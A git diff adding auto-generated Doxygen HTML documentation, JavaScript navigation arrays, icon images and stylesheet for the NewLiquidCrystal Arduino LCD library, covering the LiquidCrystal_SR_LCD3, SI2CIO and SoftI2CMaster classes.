send(uint8_t value, uint8_t mode)LiquidCrystal_SR_LCD3 [virtual]
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html new file mode 100644 index 0000000..73b9d1e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html @@ -0,0 +1,200 @@ + + + + +LCD Library: LiquidCrystal_SR_LCD3 Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_SR_LCD3 Class Reference
+
+
+ +

#include <LiquidCrystal_SR_LCD3.h>

+
+Inheritance diagram for LiquidCrystal_SR_LCD3:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + +

+Public Member Functions

 LiquidCrystal_SR_LCD3 (uint8_t srdata, uint8_t srclock, uint8_t enable)
virtual void send (uint8_t value, uint8_t mode)
+

Detailed Description

+
+

Definition at line 16 of file LiquidCrystal_SR_LCD3.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 (uint8_t srdata,
uint8_t srclock,
uint8_t enable 
)
+
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]enable pin for the shiftregister (also called strobe).
+
+
+ +

Definition at line 123 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR_LCD3::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 171 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.png new file mode 100644 index 0000000000000000000000000000000000000000..966e05cf9e457c77110adb4bac0ccacd89e03711 GIT binary patch literal 442 zcmeAS@N?(olHy`uVBq!ia0vp^lYuyZgBeI_xo@`xQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CBIRS^hfzu~p*F??vQ*wj8=YCCD7WLUtHD#5le2AOc6WJLDSkw#}fhw4U zAyjMBN!B7gfViCZ|^Z0iXVSMhbBY8UxdpUImM z#{Jkr@T0+cOK!K_>;1%)zD>A0PfGsCT{|V`<1S8$vfJ*=>DqPmpH0O?<;b*I^XBHg z?>T1C>bU<}aPRxe@{hJ0NjcZ~_T8?Vulx;mwu*b5PA{)L{?%^d<3CS>Rf7Ic$~1hh z^TX@Oudw;IDn8G({CrL{LDQkp(>!v8|K_gZ$W3;?w(T*uxV#`(tbM!D-Jf2|>Y5L- eEVK3b`Gno9Lc!XlKtlx>& + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
SI2CIO Member List
+
+
+ +

This is the complete list of members for SI2CIO, including all inherited members.

+ + + + + + + + + +
begin(uint8_t i2cAddr)SI2CIO
digitalRead(uint8_t pin)SI2CIO
digitalWrite(uint8_t pin, uint8_t level)SI2CIO
pinMode(uint8_t pin, uint8_t dir)SI2CIO
portMode(uint8_t dir)SI2CIO
read(void)SI2CIO
SI2CIO()SI2CIO
write(uint8_t value)SI2CIO
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html new file mode 100644 index 0000000..e9c4df0 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html @@ -0,0 +1,330 @@ + + + + + + +New LiquidCrystal library: SI2CIO Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
SI2CIO Class Reference
+
+
+ + + + + + + + + + + + + + + + + + +

+Public Member Functions

 SI2CIO ()
 
int begin (uint8_t i2cAddr)
 
void pinMode (uint8_t pin, uint8_t dir)
 
void portMode (uint8_t dir)
 
uint8_t read (void)
 
uint8_t digitalRead (uint8_t pin)
 
int write (uint8_t value)
 
int digitalWrite (uint8_t pin, uint8_t level)
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
SI2CIO::SI2CIO ()
+
+

Constructor method Class constructor constructor.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int SI2CIO::begin (uint8_t i2cAddr)
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters
+ + +
i2cAddrI2C Address where the device is located.
+
+
+
Returns
1 if the device was initialized correctly, 0 otherwise
+ +
+
+ +
+
+ + + + + + + + +
uint8_t SI2CIO::digitalRead (uint8_t pin)
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int SI2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns
1 on success, 0 otherwise.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void SI2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
void SI2CIO::portMode (uint8_t dir)
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

Parameters
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
uint8_t SI2CIO::read (void )
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
int SI2CIO::write (uint8_t value)
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters
+ + +
value[in]value to be written to the device.
+
+
+
Returns
1 on success, 0 otherwise
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js new file mode 100644 index 0000000..4d23e73 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js @@ -0,0 +1,11 @@ +var class_s_i2_c_i_o = +[ + [ "SI2CIO", "class_s_i2_c_i_o.html#ae27c1861e885c6ade3f3923658957edf", null ], + [ "begin", "class_s_i2_c_i_o.html#aef6df8409b67bda118c2e055af3d6f47", null ], + [ "digitalRead", "class_s_i2_c_i_o.html#a15fe6d174fb001bca7866004e96f0b33", null ], + [ "digitalWrite", "class_s_i2_c_i_o.html#ae1e3c6fd22872f248de6a90af27d92de", null ], + [ "pinMode", "class_s_i2_c_i_o.html#a4ef4fb77ddd3d248be5e0898e33430a3", null ], + [ "portMode", "class_s_i2_c_i_o.html#a8e78ee0ee2d1bb12136b5c5a3487512b", null ], + [ "read", "class_s_i2_c_i_o.html#a32cb72361397c1051ee650dbb2190060", null ], + [ "write", "class_s_i2_c_i_o.html#a47c3ac3198cddcf9e6da1ccacd9db5d9", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html new file mode 100644 index 0000000..e1bbc3d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html @@ -0,0 +1,143 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.0 +
+
Generic LCD driver library
+
+
+ + + + + +
+
+ +
+
+
+ +
+ +
+
+ + +
+ +
+ +
+
+
SoftI2CMaster Member List
+
+
+ +

This is the complete list of members for SoftI2CMaster, including all inherited members.

+ + + + + + + + + + + + + + + + + +
beginTransmission(uint8_t address) (defined in SoftI2CMaster)SoftI2CMaster
beginTransmission(int address) (defined in SoftI2CMaster)SoftI2CMaster
endTransmission(void) (defined in SoftI2CMaster)SoftI2CMaster
read(uint8_t ack) (defined in SoftI2CMaster)SoftI2CMaster
read() (defined in SoftI2CMaster)SoftI2CMaster
readLast() (defined in SoftI2CMaster)SoftI2CMaster
requestFrom(int address) (defined in SoftI2CMaster)SoftI2CMaster
requestFrom(uint8_t address) (defined in SoftI2CMaster)SoftI2CMaster
setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups) (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster() (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin) (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups) (defined in SoftI2CMaster)SoftI2CMaster
write(uint8_t) (defined in SoftI2CMaster)SoftI2CMaster
write(uint8_t *, uint8_t) (defined in SoftI2CMaster)SoftI2CMaster
write(int) (defined in SoftI2CMaster)SoftI2CMaster
write(char *) (defined in SoftI2CMaster)SoftI2CMaster
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html new file mode 100644 index 0000000..72f566d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html @@ -0,0 +1,181 @@ + + + + + + +New LiquidCrystal library: SoftI2CMaster Class Reference + + + + + + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.0 +
+
Generic LCD driver library
+
+
+ + + + + +
+
+ +
+
+
+ +
+ +
+
+ + +
+ +
+ +
+ +
+
SoftI2CMaster Class Reference
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

SoftI2CMaster (uint8_t sclPin, uint8_t sdaPin)
 
SoftI2CMaster (uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups)
 
+void setPins (uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups)
 
+uint8_t beginTransmission (uint8_t address)
 
+uint8_t beginTransmission (int address)
 
+uint8_t endTransmission (void)
 
+uint8_t write (uint8_t)
 
+void write (uint8_t *, uint8_t)
 
+void write (int)
 
+void write (char *)
 
+uint8_t requestFrom (int address)
 
+uint8_t requestFrom (uint8_t address)
 
+uint8_t read (uint8_t ack)
 
+uint8_t read ()
 
+uint8_t readLast ()
 
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.cpp
  • +
+
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js new file mode 100644 index 0000000..0d3b310 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js @@ -0,0 +1,19 @@ +var class_soft_i2_c_master = +[ + [ "SoftI2CMaster", "class_soft_i2_c_master.html#ad5159d322afd4e1fcca6791c35576dc9", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html#aece7e02a4a41da0fcc0d94c6b657df7b", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html#ad46d2b3a0ced1d5e958246453681dc12", null ], + [ "beginTransmission", "class_soft_i2_c_master.html#ac39c24535036972ca9e6fa79819d5d9e", null ], + [ "beginTransmission", "class_soft_i2_c_master.html#a791bec13d09f3e1e49fbd7c72b1fd12d", null ], + [ "endTransmission", "class_soft_i2_c_master.html#aefc6d650a9b55fc313f101c90fb2a4a1", null ], + [ "read", "class_soft_i2_c_master.html#a04782f52620df5c8befcd18a849196aa", null ], + [ "read", "class_soft_i2_c_master.html#ae321cd9d0b882ecf32366996aa2887dc", null ], + [ "readLast", "class_soft_i2_c_master.html#a218e33e8f81b0f64370dc2fc036e5151", null ], + [ "requestFrom", "class_soft_i2_c_master.html#aa59620fa4bd961b21a4ffef3e66e1060", null ], + [ "requestFrom", "class_soft_i2_c_master.html#a7da6a512db82ea053e1b625199d26f95", null ], + [ "setPins", "class_soft_i2_c_master.html#aad64723d1850661878af673ad5abb185", null ], + [ "write", "class_soft_i2_c_master.html#ac5e27fbfa79d49e2aa10542099fe0f16", null ], + [ "write", "class_soft_i2_c_master.html#a2df16a5d624e2b21df7229b7eb4a4b31", null ], + [ "write", "class_soft_i2_c_master.html#af97e93a09958e253d413e5fb7f191012", null ], + [ "write", "class_soft_i2_c_master.html#ad5a93a06a09a5f7afaf2c2fc0e10c3b0", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/classes.html b/libraries/NewliquidCrystal/utility/docs/html/classes.html new file mode 100644 index 0000000..a4e7d4b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/classes.html @@ -0,0 +1,114 @@ + + + + + + +New LiquidCrystal library: Class Index + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class Index
+
+
+
I | L | S
+ + + + + + + + +
  I  
+
LiquidCrystal   LiquidCrystal_SR   
  S  
+
LiquidCrystal_I2C   LiquidCrystal_SR1W   
I2CIO   LiquidCrystal_I2C_ByVac   LiquidCrystal_SR2W   SI2CIO   
  L  
+
LiquidCrystal_SI2C   LiquidCrystal_SR3W   
LCD   
+
I | L | S
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/closed.png b/libraries/NewliquidCrystal/utility/docs/html/closed.png new file mode 100644 index 0000000000000000000000000000000000000000..98cc2c909da37a6df914fbf67780eebd99c597f5 GIT binary patch literal 132 zcmeAS@N?(olHy`uVBq!ia0vp^oFL4>1|%O$WD@{V-kvUwAr*{o@8{^CZMh(5KoB^r_<4^zF@3)Cp&&t3hdujKf f*?bjBoY!V+E))@{xMcbjXe@)LtDnm{r-UW|*e5JT literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/doc.png b/libraries/NewliquidCrystal/utility/docs/html/doc.png new file mode 100644 index 0000000000000000000000000000000000000000..17edabff95f7b8da13c9516a04efe05493c29501 GIT binary patch literal 746 zcmV7=@pnbNXRFEm&G8P!&WHG=d)>K?YZ1bzou)2{$)) zumDct!>4SyxL;zgaG>wy`^Hv*+}0kUfCrz~BCOViSb$_*&;{TGGn2^x9K*!Sf0=lV zpP=7O;GA0*Jm*tTYj$IoXvimpnV4S1Z5f$p*f$Db2iq2zrVGQUz~yq`ahn7ck(|CE z7Gz;%OP~J6)tEZWDzjhL9h2hdfoU2)Nd%T<5Kt;Y0XLt&<@6pQx!nw*5`@bq#?l*?3z{Hlzoc=Pr>oB5(9i6~_&-}A(4{Q$>c>%rV&E|a(r&;?i5cQB=} zYSDU5nXG)NS4HEs0it2AHe2>shCyr7`6@4*6{r@8fXRbTA?=IFVWAQJL&H5H{)DpM#{W(GL+Idzf^)uRV@oB8u$ z8v{MfJbTiiRg4bza<41NAzrl{=3fl_D+$t+^!xlQ8S}{UtY`e z;;&9UhyZqQRN%2pot{*Ei0*4~hSF_3AH2@fKU!$NSflS>{@tZpDT4`M2WRTTVH+D? z)GFlEGGHe?koB}i|1w45!BF}N_q&^HJ&-tyR{(afC6H7|aml|tBBbv}55C5DNP8p3 z)~jLEO4Z&2hZmP^i-e%(@d!(E|KRafiU8Q5u(wU((j8un3OR*Hvj+t literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/doxygen.css b/libraries/NewliquidCrystal/utility/docs/html/doxygen.css new file mode 100644 index 0000000..b2c94ac --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/doxygen.css @@ -0,0 +1,1454 @@ +/* The standard CSS for doxygen 1.8.10 */ + +body, table, div, p, dl { + font: 400 14px/22px Roboto,sans-serif; +} + +/* @group Heading Levels */ + +h1.groupheader { + font-size: 150%; +} + +.title { + font: 400 14px/28px Roboto,sans-serif; + font-size: 150%; + font-weight: bold; + margin: 10px 2px; +} + +h2.groupheader { + border-bottom: 1px solid #879ECB; + color: #354C7B; + font-size: 150%; + font-weight: normal; + margin-top: 1.75em; + padding-top: 8px; + padding-bottom: 4px; + width: 100%; +} + +h3.groupheader { + font-size: 100%; +} + +h1, h2, h3, h4, h5, h6 { + -webkit-transition: text-shadow 0.5s linear; + -moz-transition: text-shadow 0.5s linear; + -ms-transition: text-shadow 0.5s linear; + -o-transition: text-shadow 0.5s linear; + transition: text-shadow 0.5s linear; + margin-right: 15px; +} + +h1.glow, h2.glow, h3.glow, h4.glow, h5.glow, h6.glow { + text-shadow: 0 0 15px cyan; +} + +dt { + font-weight: bold; +} + +div.multicol { + -moz-column-gap: 1em; + -webkit-column-gap: 1em; + -moz-column-count: 3; + -webkit-column-count: 3; +} + +p.startli, p.startdd { + margin-top: 2px; +} + +p.starttd { + margin-top: 0px; +} + +p.endli { + margin-bottom: 0px; +} + +p.enddd { + margin-bottom: 4px; +} + +p.endtd { + margin-bottom: 2px; +} + +/* @end */ + +caption { + font-weight: bold; +} + +span.legend { + font-size: 70%; + text-align: center; +} + +h3.version { + font-size: 90%; + text-align: center; +} + +div.qindex, div.navtab{ + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; +} + +div.qindex, div.navpath { + width: 100%; + line-height: 140%; +} + +div.navtab { + margin-right: 15px; +} + +/* @group Link Styling */ + +a { + color: #3D578C; + font-weight: normal; + text-decoration: none; +} + +.contents a:visited { + color: #4665A2; +} + +a:hover { + text-decoration: underline; +} + +a.qindex { + font-weight: bold; +} + +a.qindexHL { + font-weight: bold; + background-color: #9CAFD4; + color: #ffffff; + border: 1px double #869DCA; +} + +.contents a.qindexHL:visited { + color: #ffffff; +} + +a.el { + font-weight: bold; +} + +a.elRef { +} + +a.code, a.code:visited, a.line, a.line:visited { + color: #4665A2; +} + +a.codeRef, a.codeRef:visited, a.lineRef, a.lineRef:visited { + color: #4665A2; +} + +/* @end */ + +dl.el { + margin-left: -1cm; +} + +pre.fragment { + border: 1px solid #C4CFE5; + background-color: #FBFCFD; + padding: 4px 6px; + margin: 4px 8px 4px 2px; + overflow: auto; + word-wrap: break-word; + font-size: 9pt; + line-height: 125%; + font-family: monospace, fixed; + font-size: 105%; +} + +div.fragment { + padding: 4px 6px; + margin: 4px 8px 4px 2px; + background-color: #FBFCFD; + border: 1px solid #C4CFE5; +} + +div.line { + font-family: monospace, fixed; + font-size: 13px; + min-height: 13px; + line-height: 1.0; + text-wrap: unrestricted; + white-space: -moz-pre-wrap; /* Moz */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + white-space: pre-wrap; /* CSS3 */ + word-wrap: break-word; /* IE 5.5+ */ + text-indent: -53px; + padding-left: 53px; + padding-bottom: 0px; + margin: 0px; + -webkit-transition-property: background-color, box-shadow; + -webkit-transition-duration: 0.5s; + -moz-transition-property: background-color, box-shadow; + -moz-transition-duration: 0.5s; + -ms-transition-property: background-color, box-shadow; + -ms-transition-duration: 0.5s; + -o-transition-property: background-color, box-shadow; + -o-transition-duration: 0.5s; + transition-property: background-color, box-shadow; + transition-duration: 0.5s; +} + +div.line.glow { + background-color: cyan; + box-shadow: 0 0 10px cyan; +} + + +span.lineno { + padding-right: 4px; + text-align: right; + border-right: 2px solid #0F0; + background-color: #E8E8E8; + white-space: pre; +} +span.lineno a { + background-color: #D8D8D8; +} + +span.lineno a:hover { + background-color: #C8C8C8; +} + +div.ah, span.ah { + background-color: black; + font-weight: bold; + color: #ffffff; + margin-bottom: 3px; + margin-top: 3px; + padding: 0.2em; + border: solid thin #333; + border-radius: 0.5em; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + box-shadow: 2px 2px 3px #999; + -webkit-box-shadow: 2px 2px 3px #999; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px; + background-image: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#000),color-stop(0.3, #444)); + background-image: -moz-linear-gradient(center top, #eee 0%, #444 40%, #000); +} + +div.classindex ul { + list-style: none; + padding-left: 0; +} + +div.classindex span.ai { + display: inline-block; +} + +div.groupHeader { + margin-left: 16px; + margin-top: 12px; + font-weight: bold; +} + +div.groupText { + margin-left: 16px; + font-style: italic; +} + +body { + background-color: white; + color: black; + margin: 0; +} + +div.contents { + margin-top: 10px; + margin-left: 12px; + margin-right: 8px; +} + +td.indexkey { + background-color: #EBEFF6; + font-weight: bold; + border: 1px solid #C4CFE5; + margin: 2px 0px 2px 0; + padding: 2px 10px; + white-space: nowrap; + vertical-align: top; +} + +td.indexvalue { + background-color: #EBEFF6; + border: 1px solid #C4CFE5; + padding: 2px 10px; + margin: 2px 0px; +} + +tr.memlist { + background-color: #EEF1F7; +} + +p.formulaDsp { + text-align: center; +} + +img.formulaDsp { + +} + +img.formulaInl { + vertical-align: middle; +} + +div.center { + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding: 0px; +} + +div.center img { + border: 0px; +} + +address.footer { + text-align: right; + padding-right: 12px; +} + +img.footer { + border: 0px; + vertical-align: middle; +} + +/* @group Code Colorization */ + +span.keyword { + color: #008000 +} + +span.keywordtype { + color: #604020 +} + +span.keywordflow { + color: #e08000 +} + +span.comment { + color: #800000 +} + +span.preprocessor { + color: #806020 +} + +span.stringliteral { + color: #002080 +} + +span.charliteral { + color: #008080 +} + +span.vhdldigit { + color: #ff00ff +} + +span.vhdlchar { + color: #000000 +} + +span.vhdlkeyword { + color: #700070 +} + +span.vhdllogic { + color: #ff0000 +} + +blockquote { + background-color: #F7F8FB; + border-left: 2px solid #9CAFD4; + margin: 0 24px 0 4px; + padding: 0 12px 0 16px; +} + +/* @end */ + +/* +.search { + color: #003399; + font-weight: bold; +} + +form.search { + margin-bottom: 0px; + margin-top: 0px; +} + +input.search { + font-size: 75%; + color: #000080; + font-weight: normal; + background-color: #e8eef2; +} +*/ + +td.tiny { + font-size: 75%; +} + +.dirtab { + padding: 4px; + border-collapse: collapse; + border: 1px solid #A3B4D7; +} + +th.dirtab { + background: #EBEFF6; + font-weight: bold; +} + +hr { + height: 0px; + border: none; + border-top: 1px solid #4A6AAA; +} + +hr.footer { + height: 1px; +} + +/* @group Member Descriptions */ + +table.memberdecls { + border-spacing: 0px; + padding: 0px; +} + +.memberdecls td, .fieldtable tr { + -webkit-transition-property: background-color, box-shadow; + -webkit-transition-duration: 0.5s; + -moz-transition-property: background-color, box-shadow; + -moz-transition-duration: 0.5s; + -ms-transition-property: background-color, box-shadow; + -ms-transition-duration: 0.5s; + -o-transition-property: background-color, box-shadow; + -o-transition-duration: 0.5s; + transition-property: background-color, box-shadow; + transition-duration: 0.5s; +} + +.memberdecls td.glow, .fieldtable tr.glow { + background-color: cyan; + box-shadow: 0 0 15px cyan; +} + +.mdescLeft, .mdescRight, +.memItemLeft, .memItemRight, +.memTemplItemLeft, .memTemplItemRight, .memTemplParams { + background-color: #F9FAFC; + border: none; + margin: 4px; + padding: 1px 0 0 8px; +} + +.mdescLeft, .mdescRight { + padding: 0px 8px 4px 8px; + color: #555; +} + +.memSeparator { + border-bottom: 1px solid #DEE4F0; + line-height: 1px; + margin: 0px; + padding: 0px; +} + +.memItemLeft, .memTemplItemLeft { + white-space: nowrap; +} + +.memItemRight { + width: 100%; +} + +.memTemplParams { + color: #4665A2; + white-space: nowrap; + font-size: 80%; +} + +/* @end */ + +/* @group Member Details */ + +/* Styles for detailed member documentation */ + +.memtemplate { + font-size: 80%; + color: #4665A2; + font-weight: normal; + margin-left: 9px; +} + +.memnav { + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + margin-right: 15px; + padding: 2px; +} + +.mempage { + width: 100%; +} + +.memitem { + padding: 0; + margin-bottom: 10px; + margin-right: 5px; + -webkit-transition: box-shadow 0.5s linear; + -moz-transition: box-shadow 0.5s linear; + -ms-transition: box-shadow 0.5s linear; + -o-transition: box-shadow 0.5s linear; + transition: box-shadow 0.5s linear; + display: table !important; + width: 100%; +} + +.memitem.glow { + box-shadow: 0 0 15px cyan; +} + +.memname { + font-weight: bold; + margin-left: 6px; +} + +.memname td { + vertical-align: bottom; +} + +.memproto, dl.reflist dt { + border-top: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 0px 6px 0px; + color: #253555; + font-weight: bold; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + /* opera specific markup */ + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + border-top-right-radius: 4px; + border-top-left-radius: 4px; + /* firefox specific markup */ + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + -moz-border-radius-topright: 4px; + -moz-border-radius-topleft: 4px; + /* webkit specific markup */ + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + -webkit-border-top-right-radius: 4px; + -webkit-border-top-left-radius: 4px; + +} + +.memdoc, dl.reflist dd { + border-bottom: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 10px 2px 10px; + background-color: #FBFCFD; + border-top-width: 0; + background-image:url('nav_g.png'); + background-repeat:repeat-x; + background-color: #FFFFFF; + /* opera specific markup */ + border-bottom-left-radius: 4px; + border-bottom-right-radius: 4px; + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + /* firefox specific markup */ + -moz-border-radius-bottomleft: 4px; + -moz-border-radius-bottomright: 4px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + /* webkit specific markup */ + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +dl.reflist dt { + padding: 5px; +} + +dl.reflist dd { + margin: 0px 0px 10px 0px; + padding: 5px; +} + +.paramkey { + text-align: right; +} + +.paramtype { + white-space: nowrap; +} + +.paramname { + color: #602020; + white-space: nowrap; +} +.paramname em { + font-style: normal; +} +.paramname code { + line-height: 14px; +} + +.params, .retval, .exception, .tparams { + margin-left: 0px; + padding-left: 0px; +} + +.params .paramname, .retval .paramname { + font-weight: bold; + vertical-align: top; +} + +.params .paramtype { + font-style: italic; + vertical-align: top; +} + +.params .paramdir { + font-family: "courier new",courier,monospace; + vertical-align: top; +} + +table.mlabels { + border-spacing: 0px; +} + +td.mlabels-left { + width: 100%; + padding: 0px; +} + +td.mlabels-right { + vertical-align: bottom; + padding: 0px; + white-space: nowrap; +} + +span.mlabels { + margin-left: 8px; +} + +span.mlabel { + background-color: #728DC1; + border-top:1px solid #5373B4; + border-left:1px solid #5373B4; + border-right:1px solid #C4CFE5; + border-bottom:1px solid #C4CFE5; + text-shadow: none; + color: white; + margin-right: 4px; + padding: 2px 3px; + border-radius: 3px; + font-size: 7pt; + white-space: nowrap; + vertical-align: middle; +} + + + +/* @end */ + +/* these are for tree view inside a (index) page */ + +div.directory { + margin: 10px 0px; + border-top: 1px solid #9CAFD4; + border-bottom: 1px solid 